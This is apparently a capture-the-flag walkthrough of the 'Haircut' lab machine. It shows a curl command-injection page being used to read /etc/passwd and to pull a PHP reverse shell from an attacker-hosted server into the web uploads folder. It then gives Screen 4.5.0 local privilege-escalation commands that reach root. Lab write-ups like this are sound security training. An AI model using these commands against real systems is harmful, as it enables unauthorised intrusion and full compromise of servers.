Haircut
IP: 10.129.1.107 Completed on: Feb 16, 2021 Time took: 2.7 hrs
Enumeration
Scanning ports
Nmap for default scripts shows only port 22 and 80 are open:
Enumerating web server
Routing to http://10.129.1.107/ we find a styling picture. We can verify site uses html by routing to index.html:
Let’s now run a force browsing with gobuster using html extensions:
Routing to each page gave me pictures of models and hairs. Bruteforcing /uploads also came at a fail.
After spending ~10 minutes switching my wordlists and looking for an exposed vulnerable page, I scanned for files with txt and php extensions and got a hit:
Initial Foothold
Reviewing exposed.php
Routing to /exposed.php , let’s click on ‘Go’ and examine the behavior. Page looks to be requesting and downloading a page and presenting it:
Looking at the source we can identify that it’s sending a POST form:
Identifying functionality
Removing the url we identify that the query is using curl to get the requested page:
Exploiting curl
Knowing it’s using curl let’s utilize curl’s ability to query files on the server and see if we are able to query /etc/passwd:
Awesome! Let’s then use curl’s ability to download files to host a reverse php file and allow us to get initial access.
Uploading PHP reverse shell
I’ll be using pentest monkey’s php-reverse-shell.php. I hosted on my attack box and used the following to download my file:
http://10.10.14.168:8000/php-reverse-shell.php -o file.php
The command fails as the user running the command (probably www-data) does not have permissions to upload this file. Specifically uploading file to /var/www/html/uploads/file.php worked though:
http://10.10.14.168:8000/php-reverse-shell.php -o /var/www/html/uploads/file.php
Routing to http://haircut.htb/uploads/file.php (make sure we have a listening netcat) it gives us initial access to the box! Let’s now Privilege Escalate.
You can use python3 -c 'import pty; pty.spawn("/bin/bash")' to improve the shell
Privilege Escalate
Enumerating host
I will use following commands to get initial information of the box:
To view what content www-data has access to within /home, I could run either of the following:
$ ls -laR /home
$ find /home -printf "%f\t%p\t%u\t%g\t%g\t%m\n" 2>/dev/null | column -t
Exploiting Screen 4.5.0
Through looking at these files, only one that I noticed was strange was /usr/bin/screen-4.5.0 version. Researching this version we can find a local privilege escalation exploit:
POC: https://www.exploit-db.com/exploits/41152 Exploit: https://www.exploit-db.com/exploits/41154
Screen 4.5.0 is vulnerable to arbitrary file write though it’s logging function. We can verify that the system is vulnerable by executing POC commands:
$ umask 000
$ screen -D -m -L root.txt echo HelloWorld
$ ls -l root.txt
-rw-rw-rw- 1 root www-data 247 Feb 13 21:36 root.txt
$ cat root.txt
HelloWorld
Now using the default exploit bash script will fail because gcc on haircut box is not using the correct cc1. Doing a locate cc1, we find the file within /usr/lib/gcc/x86_64-linux-gnu/5, add the following to the gcc command on the exploit and then run it locally:
-B /usr/lib/gcc/x86_64-linux-gnu/5
Running an id, we can see that we now have root as www-data user. Below I get both flags that we identified before:
Last updated
Was this helpful?